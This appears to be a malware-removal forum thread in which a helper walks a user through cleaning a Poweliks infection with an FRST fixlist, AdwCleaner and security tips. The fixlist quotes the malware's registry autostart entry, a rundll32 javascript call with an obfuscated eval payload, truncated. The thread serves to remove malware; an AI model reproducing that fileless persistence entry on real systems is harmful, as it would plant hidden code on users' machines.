Please help...Web shield pops up constantly.....ran scans...

About a week or so ago, my laptop starting working really slow and locking up. I ran an Avast scan (free version) (it sent some stuff to the “chest”)…my cpu usage was 100% around the time this all began and nothing was loading… Then I noticed after running the scan and setting it to “real time” or whatever it’s called, the web shield constantly pops up blocking various sites… Since then I ran Malwarebytes scan and it detected several hundred “items” which i deleted, but Avast Web Shield still pops up constantly. Some of the sites it’s blocking are wvydeo…movieroomreview…a lot of them say iexplore. exe. Also I frequently have a box pop up and say I can’t download a certain file, (when I wasn’t trying to download anything.)
After googling what to do, I found this site and I read on here to run the scans and download the logs which I did. When I ran the Malwarebytes scan this time it showed 0 detected items… The popups have slowed down somewhat so I don’t know if these scans did anything to help that, but when they were coming at full speed (yesterday and last night), they were even popping up when I had the browser closed out and was playing solitaire… Hopefully someone can figure out what if anything is going on here. I will attach the logs. Thanks to anyone who can help! (Okay another one just popped up with the words crossdomain in it) sorry I can’t catch it all before it goes away)

Let me know how the computer is after this run

CAUTION : This fix is only valid for this specific machine, using it on another may break your computer

Open notepad and copy/paste the text in the quotebox below into it:

CreateRestorePoint: HKU\S-1-5-21-1462920916-2566400816-1858065290-1002\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 243 more characters). <==== Poweliks! SearchScopes: HKLM-x32 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = SearchScopes: HKU\S-1-5-21-1462920916-2566400816-1858065290-1002 -> {2fa28606-de77-4029-af96-b231e3b8f827} URL = SearchScopes: HKU\S-1-5-21-1462920916-2566400816-1858065290-1002 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2001} URL = SearchScopes: HKU\S-1-5-21-1462920916-2566400816-1858065290-1002 -> {b7fca997-d0fb-4fe0-8afd-255e89cf9671} URL = SearchScopes: HKU\S-1-5-21-1462920916-2566400816-1858065290-1002 -> {ec29edf6-ad3c-4e1c-a087-d6cb81400c43} URL = Toolbar: HKLM - No Name - {318A227B-5E9F-45bd-8999-7F8F10CA4CF5} - No File Toolbar: HKLM - No Name - {CC1A175A-E45B-41ED-A30C-C9B1D7A0C02F} - No File Toolbar: HKU\S-1-5-21-1462920916-2566400816-1858065290-1002 -> No Name - {7FEBEFE3-6B19-4349-98D2-FFB09D4B49CA} - No File CustomCLSID: HKU\S-1-5-21-1462920916-2566400816-1858065290-1002_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32 -> rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 251 more characters). <==== Poweliks? Task: {DDFE59CA-4611-48A0-92C9-8161C4C3105E} - \SaveSense No Task File <==== ATTENTION EmptyTemp: CMD: bitsadmin /reset /allusers

Save this as fixlist.txt, in the same location as FRST.exe

https://dl.dropboxusercontent.com/u/73555776/FRSTfix.JPG

Run FRST and press Fix
On completion a log will be generated please post that

THEN

Please download AdwCleaner by Xplode onto your desktop.

[*]Close all open programs and internet browsers.
[*]Double click on AdwCleaner.exe to run the tool.
[*]Click on Scan.
[*]After the scan is complete click on “Clean”
[*]Confirm each time with Ok.
[*]Your computer will be rebooted automatically. A text file will open after the restart.
[*]Please post the content of that logfile with your next answer.
[*]You can find the logfile at C:\AdwCleaner[S1].txt as well.

I appears to be stuck in the “fixing” mode. It has been stuck on appdata\local\temp for 3 hrs or so. Should I close it out and restart it?

Please disregard my previous message about the fix being stuck. After several hours it did finish up. I will attach the log, then follow the next step.

Okay, I’ve completed the latest scan/fix. I am attaching the log. I will check in later and let you know how it is going. Please let me know if there is anything else I should do.

EmptyTemp: => Removed 23.9 GB temporary data. that was the reason for the long fix :slight_smile:

How is the computer behaving now ?

It runs like a new computer! Boots up quicker, pages load fast… You are amazing! Thank you so much! (and web shield hasn’t had to block anything at all)

EmptyTemp: => Removed 23.9 GB temporary data. that was the reason for the long fix :)
CCleaner free ..... a monthly scrub with it would avoid that

You find it here https://www.piriform.com

Subject to no further problems :slight_smile:

I will remove my tools now and give some recommendations, but, I would like you to run for 24 hours or so and come back if you have any problems

Now the best part of the day ----- Your log now appears clean :thumbsup:

A good workman always cleans up after himself so…The following will implement some cleanup procedures as well as reset System Restore points:

Remove tools

Download and run Delfix

https://dl.dropboxusercontent.com/u/73555776/delfix.JPG

: Keep Java Updated :

WARNING: Java is the #1 exploited program at this time. The Department of Homeland Security recommends that computer users disable Java
See this article

I would recommend that you completely uninstall Java unless you need it to run an important software.
In that instance I would recommend that you disable Java in your browsers until you need it for that software and then enable it. (See How to diasble Java in your web browser and How to unplug Java from the browser)

If you do need to keep Java then download JavaRa
Run the programme and select Remove Java Runtime. Uninstall all versions of Java present
Once done then run it again and select Update Java runtime > Download and install Latest version

https://dl.dropboxusercontent.com/u/73555776/javara.JPG

Now that you are clean, to help protect your computer in the future I recommend that you get the following free programmes:

CryptoPrevent install this programme to lock down and prevent crypto ransome ware

https://dl.dropboxusercontent.com/u/73555776/CryptoPrevent.JPG

Malwarebytes.

Update and run weekly to keep your system clean

Unchecky

Click on the link above to be taken to Unchecky.com
click the very large Download button.
click Save
Click Open folder
Right click on the Unchecky_setup and choose to Run as Administrator
Once open click the Install button.
Then click on Finish
Unchecky is now installed and will help you keep unwanted check boxes unchecked, this is a fire and forget programme :wink:

It is critical to have both a firewall and anti virus to protect your system and to keep them updated.

To learn more about how to protect yourself while on the internet read this little guide Best security practices Keep safe :wave:

Okay, I’ve uninstalled Java, and downloaded and ran the other programs! Will check in tomorrow evening with update! Thanks! :slight_smile:

:)Just wanted to update and let you know everything is still working great. Thank you so much for all your help! I really appreciate you taking the time to help!
Thanks again,
Jenni

My pleasure :slight_smile: